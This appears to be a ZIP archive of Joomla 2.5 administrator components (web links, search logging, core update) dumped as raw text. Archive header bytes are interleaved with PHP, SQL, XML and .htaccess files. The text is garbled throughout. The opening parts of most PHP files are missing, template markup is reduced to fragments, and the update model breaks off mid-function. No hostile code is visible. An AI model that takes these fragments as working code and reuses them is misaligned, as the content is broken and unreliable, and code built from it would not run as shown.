      PKs>\. com_weblinks/models/weblinks.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $published = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string'); $this->setState('filter.state', $published); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', ''); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_weblinks'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id.= ':' . $this->getState('filter.search'); $id.= ':' . $this->getState('filter.access'); $id.= ':' . $this->getState('filter.state'); $id.= ':' . $this->getState('filter.category_id'); $id.= ':' . $this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid,' . 'a.hits,' . 'a.state, a.access, a.ordering,'. 'a.language, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__weblinks').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.state = '.(int) $published); } elseif ($published === '') { $query->where('(a.state IN (0, 1))'); } // Filter by category. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = '.(int) $categoryId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\L]aacom_weblinks/controller.phpnuW+Aget('id') ||($_SERVER['REQUEST_METHOD'] == 'POST' && $vName = 'categories')) { $cachable = false; } $safeurlparams = array( 'id' => 'INT', 'limit' => 'UINT', 'limitstart' => 'UINT', 'filter_order' => 'CMD', 'filter_order_Dir' => 'CMD', 'lang' => 'CMD' ); // Check for edit form. if ($vName == 'form' && !$this->checkEditId('com_weblinks.edit.weblink', $id)) { // Somehow the person just went to the form - we don't allow that. return JError::raiseError(403, JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); } return parent::display($cachable, $safeurlparams); } } PKs>\আ)com_weblinks/views/weblinks/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/weblinks.php'; $state = $this->get('State'); $canDo = WeblinksHelper::getActions($state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_WEBLINKS_MANAGER_WEBLINKS'), 'weblinks.png'); if (count($user->getAuthorisedCategories('com_weblinks', 'core.create')) > 0) { JToolBarHelper::addNew('weblink.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('weblink.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('weblinks.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('weblinks.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('weblinks.archive'); JToolBarHelper::checkin('weblinks.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'weblinks.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('weblinks.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_weblinks'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_WEBLINKS_LINKS'); } } PKs>\)*com_weblinks/views/weblinks/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V+com_weblinks/views/weblinks/tmpl/index.htmlnuW+A PKs>\e2com_weblinks/views/weblinks/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PKs>\4!!,com_weblinks/views/weblinks/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_weblinks.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_weblinks&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_weblinks.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_weblinks.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_weblinks.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'weblinks.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'weblinks.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      escape($item->alias));?>

      state, $i, 'weblinks.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_weblinks') && $user->authorize('core.edit', 'com_weblinks') && $user->authorize('core.edit.state', 'com_weblinks')) : ?> loadTemplate('batch'); ?>
      PKs>\V&com_weblinks/views/weblinks/index.htmlnuW+A PKs>\)%com_weblinks/views/weblinks/.htaccessnuW+A Order allow,deny Deny from all PKs>\Jvv/com_weblinks/views/weblink/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\V*com_weblinks/views/weblink/tmpl/index.htmlnuW+A PKs>\h!!(com_weblinks/views/weblink/tmpl/edit.phpnuW+A PKs>\V??1com_weblinks/views/weblink/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\))com_weblinks/views/weblink/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_weblinks/views/weblink/index.htmlnuW+A PKs>\)$com_weblinks/views/weblink/.htaccessnuW+A Order allow,deny Deny from all PKs>\dkC(com_weblinks/views/weblink/view.html.phpnuW+AgetParams(); // Get some data from the models $state = $this->get('State'); $item = $this->get('Item'); $category = $this->get('Category'); if ($this->getLayout() == 'edit') { $this->_displayEdit($tpl); return; } if ($item->url) { // redirects to url if matching id found $app->redirect($item->url); } else { //TODO create proper error handling $app->redirect(JRoute::_('index.php'), JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 'notice'); } } } PKs>\)com_weblinks/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_weblinks/views/index.htmlnuW+A PKs>\Vcom_weblinks/helpers/index.htmlnuW+A PKs>\@kk!com_weblinks/helpers/weblinks.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\)com_weblinks/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\u$com_weblinks/controllers/weblink.phpnuW+AsetRedirect($this->getReturnPage()); } } /** * Method override to check if you can add a new record. * * @param array $data An array of input data. * @return boolean * @since 1.6 */ protected function allowAdd($data = array()) { // Initialise variables. $user = JFactory::getUser(); $categoryId = JArrayHelper::getValue($data, 'catid', JRequest::getInt('id'), 'int'); $allow = null; if ($categoryId) { // If the category has been passed in the URL check it. $allow = $user->authorise('core.create', $this->option.'.category.'.$categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method to check if you can add a new record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return JFactory::getUser()->authorise('core.edit', $this->option.'.category.'.$categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return Boolean True if access level checks pass, false otherwise. * @since 1.6 */ public function cancel($key = 'w_id') { parent::cancel($key); // Redirect to the return page. $this->setRedirect($this->getReturnPage()); } /** * Method to edit an existing record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if access level check and checkout passes, false otherwise. * @since 1.6 */ public function edit($key = null, $urlVar = 'w_id') { $result = parent::edit($key, $urlVar); return $result; } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * @since 1.5 */ public function getModel($name = 'form', $prefix = '', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Gets the URL arguments to append to an item redirect. * * @param int $recordId The primary key id for the item. * @param string $urlVar The name of the URL variable for the id. * * @return string The arguments to append to the redirect URL. * @since 1.6 */ protected function getRedirectToItemAppend($recordId = null, $urlVar = null) { $append = parent::getRedirectToItemAppend($recordId, $urlVar); $itemId = JRequest::getInt('Itemid'); $return = $this->getReturnPage(); if ($itemId) { $append .= '&Itemid='.$itemId; } if ($return) { $append .= '&return='.base64_encode($return); } return $append; } /** * Get the return URL. * * If a "return" variable has been passed in the request * * @return string The return URL. * @since 1.6 */ protected function getReturnPage() { $return = JRequest::getVar('return', null, 'default', 'base64'); if (empty($return) || !JUri::isInternal(base64_decode($return))) { return JURI::base(); } else { return base64_decode($return); } } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModel $model The data model object. * @param array $validData The validated data. * * @return void * @since 1.6 */ protected function postSaveHook(JModel &$model, $validData = array()) { $task = $this->getTask(); if ($task == 'save') { $this->setRedirect(JRoute::_('index.php?option=com_weblinks&view=category&id='.$validData['catid'], false)); } } /** * Method to save a record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if successful, false otherwise. * @since 1.6 */ public function save($key = null, $urlVar = 'w_id') { $result = parent::save($key, $urlVar); // If ok, redirect to the return page. if ($result) { $this->setRedirect($this->getReturnPage()); } return $result; } /** * Go to a weblink * * @return void * @since 1.6 */ public function go() { // Get the ID from the request $id = JRequest::getInt('id'); // Get the model, requiring published items $modelLink = $this->getModel('Weblink', '', array('ignore_request' => true)); $modelLink->setState('filter.published', 1); // Get the item $link = $modelLink->getItem($id); // Make sure the item was found. if (empty($link)) { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND')); } // Check whether item access level allows access. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if (!in_array($link->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Check whether category access level allows access. $modelCat = $this->getModel('Category', 'WeblinksModel', array('ignore_request' => true)); $modelCat->setState('filter.published', 1); // Get the category $category = $modelCat->getCategory($link->catid); // Make sure the category was found. if (empty($category)) { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND')); } // Check whether item access level allows access. if (!in_array($category->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Redirect to the URL // TODO: Probably should check for a valid http link if ($link->url) { $modelLink->hit($id); JFactory::getApplication()->redirect($link->url); } else { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_URL_INVALID')); } } } PKs>\V#com_weblinks/controllers/index.htmlnuW+A PKs>\)"com_weblinks/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\(%com_weblinks/controllers/weblinks.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\Œ##)com_weblinks/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__weblinks`;PKs>\yg'com_weblinks/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__weblinks` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `catid` int(11) NOT NULL DEFAULT '0', `sid` int(11) NOT NULL DEFAULT '0', `title` varchar(250) NOT NULL DEFAULT '', `alias` varchar(255) NOT NULL DEFAULT '', `url` varchar(250) NOT NULL DEFAULT '', `description` text NOT NULL, `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `hits` int(11) NOT NULL DEFAULT '0', `state` tinyint(1) NOT NULL DEFAULT '0', `checked_out` int(11) NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `ordering` int(11) NOT NULL DEFAULT '0', `archived` tinyint(1) NOT NULL DEFAULT '0', `approved` tinyint(1) NOT NULL DEFAULT '1', `access` int(11) NOT NULL DEFAULT '1', `params` text NOT NULL, `language` char(7) NOT NULL DEFAULT '', `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL DEFAULT '0', `created_by_alias` varchar(255) NOT NULL DEFAULT '', `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL DEFAULT '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `featured` tinyint(3) unsigned NOT NULL DEFAULT '0' COMMENT 'Set if link is featured.', `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`state`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_featured_catid` (`featured`,`catid`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; PKs>\Vcom_weblinks/sql/index.htmlnuW+A PKs>\)com_weblinks/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_search/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_search/views/index.htmlnuW+A PKs>\)#com_search/views/searches/.htaccessnuW+A Order allow,deny Deny from all PKs>\V)com_search/views/searches/tmpl/index.htmlnuW+A PKs>\̊4*com_search/views/searches/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canDo = SearchHelper::getActions(); ?>
      enabled) : ?> state->get('filter.results')) : ?>
      items as $i => $item) : ?>
       
      pagination->getListFooter(); ?>
      pagination->limitstart; ?> escape($item->search_term); ?> hits; ?> state->get('filter.results')) : ?> returns; ?>  
      PKs>\)(com_search/views/searches/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_search/views/searches/index.htmlnuW+A PKs>\ o'com_search/views/searches/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->enabled = $this->state->params->get('enabled'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = SearchHelper::getActions(); JToolBarHelper::title(JText::_('COM_SEARCH_MANAGER_SEARCHES'), 'search.png'); if ($canDo->get('core.edit.state')) { JToolBarHelper::custom('searches.reset', 'refresh.png', 'refresh_f2.png', 'JSEARCH_RESET', false); } JToolBarHelper::divider(); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_search'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_SEARCH'); } } PKs>\Vcom_search/index.htmlnuW+A PKs>\Lcom_search/search.xmlnuW+A com_search Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_SEARCH_XML_DESCRIPTION controller.php index.html router.php search.php models views language/en-GB.com_search.ini Search config.xml controller.php index.html search.php controllers helpers models views language/en-GB.com_search.ini language/en-GB.com_search.sys.ini PKs>\com_search/search.phpnuW+Aexecute(JRequest::getCmd('task')); // Redirect if set by the controller $controller->redirect(); PKs>\a5b,,com_search/config.xmlnuW+A
      PKs>\)com_search/.htaccessnuW+A Order allow,deny Deny from all PKs>\]com_search/access.xmlnuW+A
      PKs>\V!com_search/controllers/index.htmlnuW+A PKs>\ISnn#com_search/controllers/searches.phpnuW+AgetModel('Searches'); if (!$model->reset()) { JError::raiseWarning(500, $model->getError()); } $this->setRedirect('index.php?option=com_search&view=searches'); } } PKs>\) com_search/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\5  com_search/controller.phpnuW+A get stripped anyway later on. # causes problems. $badchars = array('#', '>', '<', '\\'); $searchword = trim(str_replace($badchars, '', JRequest::getString('searchword', null, 'post'))); // if searchword enclosed in double quotes, strip quotes and do exact match if (substr($searchword, 0, 1) == '"' && substr($searchword, -1) == '"') { $post['searchword'] = substr($searchword, 1, -1); JRequest::setVar('searchphrase', 'exact'); } else { $post['searchword'] = $searchword; } $post['ordering'] = JRequest::getWord('ordering', null, 'post'); $post['searchphrase'] = JRequest::getWord('searchphrase', 'all', 'post'); $post['limit'] = JRequest::getUInt('limit', null, 'post'); if ($post['limit'] === null) unset($post['limit']); $areas = JRequest::getVar('areas', null, 'post', 'array'); if ($areas) { foreach($areas as $area) { $post['areas'][] = JFilterInput::getInstance()->clean($area, 'cmd'); } } // set Itemid id for links from menu $app = JFactory::getApplication(); $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_search&view=search'); if(isset($items[0])) { $post['Itemid'] = $items[0]->id; } elseif (JRequest::getInt('Itemid') > 0) { //use Itemid from requesting page only if there is no existing menu $post['Itemid'] = JRequest::getInt('Itemid'); } unset($post['task']); unset($post['submit']); $uri = JURI::getInstance(); $uri->setQuery($post); $uri->setVar('option', 'com_search'); $this->setRedirect(JRoute::_('index.php'.$uri->toString(array('query', 'fragment')), false)); } } PKs>\ 9llcom_search/models/searches.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $showResults = $this->getUserStateFromRequest($this->context.'.filter.results', 'filter_results', null, 'int'); $this->setState('filter.results', $showResults); // Load the parameters. $params = JComponentHelper::getParams('com_search'); $this->setState('params', $params); // List state information. parent::populateState('a.hits', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.results'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__core_log_searches').' AS a'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.search_term LIKE '.$search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.hits')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Override the parnet getItems to inject optional data. * * @return mixed An array of objects on success, false on failure. */ public function getItems() { $items = parent::getItems(); // Determine if number of results for search item should be calculated // by default it is `off` as it is highly query intensive if ($this->getState('filter.results')) { JPluginHelper::importPlugin('search'); $app = JFactory::getApplication(); if (!class_exists('JSite')) { // This fools the routers in the search plugins into thinking it's in the frontend JLoader::register('JSite', JPATH_COMPONENT.'/helpers/site.php'); } foreach ($items as &$item) { $results = $app->triggerEvent('onContentSearch', array($item->search_term)); $item->returns = 0; foreach ($results as $result) { $item->returns += count($result); } } } return $items; } /** * Method to reset the seach log table. * * @return boolean */ public function reset() { $db = $this->getDbo(); $db->setQuery( 'DELETE FROM #__core_log_searches' ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } return true; } } PKs>\Vcom_search/models/index.htmlnuW+A PKs>\)com_search/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_search/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\؟;com_search/helpers/site.phpnuW+A\'$com_search/helpers/search.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } static function santiseSearchWord(&$searchword, $searchphrase) { $ignored = false; $lang = JFactory::getLanguage(); $tag = $lang->getTag(); $search_ignore = $lang->getIgnoredSearchWords(); // Deprecated in 1.6 use $lang->getIgnoredSearchWords instead $ignoreFile = $lang->getLanguagePath() . '/' . $tag . '/' . $tag.'.ignore.php'; if (file_exists($ignoreFile)) { include $ignoreFile; } // check for words to ignore $aterms = explode(' ', JString::strtolower($searchword)); // first case is single ignored word if (count($aterms) == 1 && in_array(JString::strtolower($searchword), $search_ignore)) { $ignored = true; } // filter out search terms that are too small $lower_limit = $lang->getLowerLimitSearchWord(); foreach($aterms as $aterm) { if (JString::strlen($aterm) < $lower_limit) { $search_ignore[] = $aterm; } } // next is to remove ignored words from type 'all' or 'any' (not exact) searches with multiple words if (count($aterms) > 1 && $searchphrase != 'exact') { $pruned = array_diff($aterms, $search_ignore); $searchword = implode(' ', $pruned); } return $ignored; } static function limitSearchWord(&$searchword) { $restriction = false; $lang = JFactory::getLanguage(); // limit searchword to a maximum of characters $upper_limit = $lang->getUpperLimitSearchWord(); if (JString::strlen($searchword) > $upper_limit) { $searchword = JString::substr($searchword, 0, $upper_limit - 1); $restriction = true; } // searchword must contain a minimum of characters if ($searchword && JString::strlen($searchword) < $lang->getLowerLimitSearchWord()) { $searchword = ''; $restriction = true; } return $restriction; } static function logSearch($search_term) { $db = JFactory::getDbo(); $params = JComponentHelper::getParams('com_search'); $enable_log_searches = $params->get('enabled'); $search_term = $db->escape(trim($search_term)); if (@$enable_log_searches) { $db = JFactory::getDbo(); $query = 'SELECT hits' . ' FROM #__core_log_searches' . ' WHERE LOWER(search_term) = "'.$search_term.'"' ; $db->setQuery($query); $hits = intval($db->loadResult()); if ($hits) { $query = 'UPDATE #__core_log_searches' . ' SET hits = (hits + 1)' . ' WHERE LOWER(search_term) = "'.$search_term.'"' ; $db->setQuery($query); $db->query(); } else { $query = 'INSERT INTO #__core_log_searches VALUES ("'.$search_term.'", 1)'; $db->setQuery($query); $db->query(); } } } /** * Prepares results from search for display * * @param string The source string * @param string The searchword to select around * @return string */ public static function prepareSearchContent($text, $searchword) { // strips tags won't remove the actual jscript $text = preg_replace("']*>.*?'si", "", $text); $text = preg_replace('/{.+?}/', '', $text); //$text = preg_replace('/]*>([^<]+)<\/a>/is','\2', $text); // replace line breaking tags with whitespace $text = preg_replace("'<(br[^/>]*?/|hr[^/>]*?/|/(div|h[1-6]|li|p|td))>'si", ' ', $text); return self::_smartSubstr(strip_tags($text), $searchword); } /** * Checks an object for search terms (after stripping fields of HTML) * * @param object The object to check * @param string Search words to check for * @param array List of object variables to check against * @returns boolean True if searchTerm is in object, false otherwise */ public static function checkNoHtml($object, $searchTerm, $fields) { $searchRegex = array( '#]*>.*?#si', '#]*>.*?#si', '##si', '#<[^>]*>#i' ); $terms = explode(' ', $searchTerm); if (empty($fields)) return false; foreach($fields as $field) { if (!isset($object->$field)) continue; $text = $object->$field; foreach($searchRegex as $regex) { $text = preg_replace($regex, '', $text); } foreach($terms as $term) { if (JString::stristr($text, $term) !== false) { return true; } } } return false; } /** * returns substring of characters around a searchword * * @param string The source string * @param int Number of chars to return * @param string The searchword to select around * @return string */ static function _smartSubstr($text, $searchword) { $lang = JFactory::getLanguage(); $length = $lang->getSearchDisplayedCharactersNumber(); $textlen = JString::strlen($text); $lsearchword = JString::strtolower($searchword); $wordfound = false; $pos = 0; while ($wordfound === false && $pos < $textlen) { if (($wordpos = @JString::strpos($text, ' ', $pos + $length)) !== false) { $chunk_size = $wordpos - $pos; } else { $chunk_size = $length; } $chunk = JString::substr($text, $pos, $chunk_size); $wordfound = JString::strpos(JString::strtolower($chunk), $lsearchword); if ($wordfound === false) { $pos += $chunk_size + 1; } } if ($wordfound !== false) { return (($pos > 0) ? '... ' : '') . $chunk . ' ...'; } else { if (($wordpos = @JString::strpos($text, ' ', $length)) !== false) { return JString::substr($text, 0, $wordpos) . ' ...'; } else { return JString::substr($text, 0, $length); } } } } PKs>\Vcom_search/helpers/index.htmlnuW+A PKs>\)!com_joomlaupdate/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\V"com_joomlaupdate/models/index.htmlnuW+A PKs>\BvFuIuI#com_joomlaupdate/models/default.phpnuW+A * @since 2.5.4 */ class JoomlaupdateModelDefault extends JModelLegacy { /** * Detects if the Joomla! update site currently in use matches the one * configured in this component. If they don't match, it changes it. * * @return void * * @since 2.5.4 */ public function applyUpdateSite() { // Determine the intended update URL $params = JComponentHelper::getParams('com_joomlaupdate'); switch ($params->get('updatesource', 'nochange')) { // "Long Term Support (LTS) branch - Recommended" case 'lts': $updateURL = 'http://update.joomla.org/core/list.xml'; break; // "Short term support (STS) branch" case 'sts': $updateURL = 'http://update.joomla.org/core/sts/list_sts.xml'; break; // "Testing" case 'testing': $updateURL = 'http://update.joomla.org/core/test/list_test.xml'; break; // "Custom" case 'custom': $updateURL = $params->get('customurl', ''); break; // "Do not change" case 'nochange': default: return; break; } $db = $this->getDbo(); $query = $db->getQuery(true) ->select($db->nq('us') . '.*') ->from( $db->nq('#__update_sites_extensions') . ' AS ' . $db->nq('map') ) ->innerJoin( $db->nq('#__update_sites') . ' AS ' . $db->nq('us') . ' ON (' . $db->nq('us') . '.' . $db->nq('update_site_id') . ' = ' . $db->nq('map') . '.' . $db->nq('update_site_id') . ')' ) ->where( $db->nq('map') . '.' . $db->nq('extension_id') . ' = ' . $db->q(700) ); $db->setQuery($query); $update_site = $db->loadObject(); if ($update_site->location != $updateURL) { // Modify the database record 